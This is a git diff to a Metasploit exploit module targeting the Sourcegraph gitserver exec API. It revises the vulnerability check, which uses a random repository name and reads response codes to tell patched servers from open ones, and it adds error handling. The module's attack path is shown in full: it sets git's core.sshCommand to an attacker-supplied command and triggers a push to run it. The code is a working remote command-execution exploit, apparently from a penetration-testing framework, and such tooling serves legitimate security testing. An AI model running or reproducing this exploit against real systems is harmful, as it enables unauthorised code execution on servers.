diff --git a/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb b/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb index bbf50fa78e..dd10511a22 100644 --- a/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb +++ b/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb @@ -75,28 +75,28 @@ class MetasploitModule < Msf::Exploit::Remote end def check - begin - cloned_repos = send_request_list - rescue RuntimeError => e - return CheckCode::Unknown(e.message) - end + res = send_request_exec(Rex::Text.rand_text_alphanumeric(4..11), ['config', '--default', '', 'core.sshCommand']) + return CheckCode::Unknown unless res - if cloned_repos.empty? - vprint_warning('There must be at least 1 cloned git repo to be exploitable.') - return CheckCode::Detected - end - - res = send_request_exec(cloned_repos.sample, ['config', '--default', '', 'core.sshCommand']) - if res && res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/ + if res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/ + # this is the response if the target repo does exist, highly unlikely since it's randomized return CheckCode::Vulnerable('Successfully set core.sshCommand.') + elsif res.code == 404 && res.body =~ /"cloneInProgress"/ + # this is the response if the target repo does not exist + return CheckCode::Vulnerable + elsif res.code == 400 && res.body =~ /^invalid command/ + # this is the response when the server is patched, regardless of if there are cloned repos + return CheckCode::Safe end - CheckCode::Safe('Failed to set core.sshCommand.') + CheckCode::Unknown end def exploit if datastore['EXISTING_REPO'].blank? @git_repo = send_request_list.sample + fail_with(Failure::NotFound, 'Did not identify any cloned repositories on the remote server.') unless @git_repo + print_status("Using automatically identified repository: #{@git_repo}") else @git_repo = datastore['EXISTING_REPO'] @@ -156,7 +156,13 @@ class MetasploitModule < Msf::Exploit::Remote vprint_status("Executing command: #{cmd}") res = send_request_exec(@git_repo, ['config', 'core.sshCommand', cmd]) fail_with(Failure::Unreachable, 'No server response.') unless res - fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.') unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/ + unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/ + if res.code == 404 && res.get_json_document.is_a?(Hash) && res.get_json_document['cloneInProgress'] == false + fail_with(Failure::BadConfig, 'The specified repository has not been cloned.') + end + + fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.') + end send_request_exec(@git_repo, ['push', @git_origin, 'master'], 5) end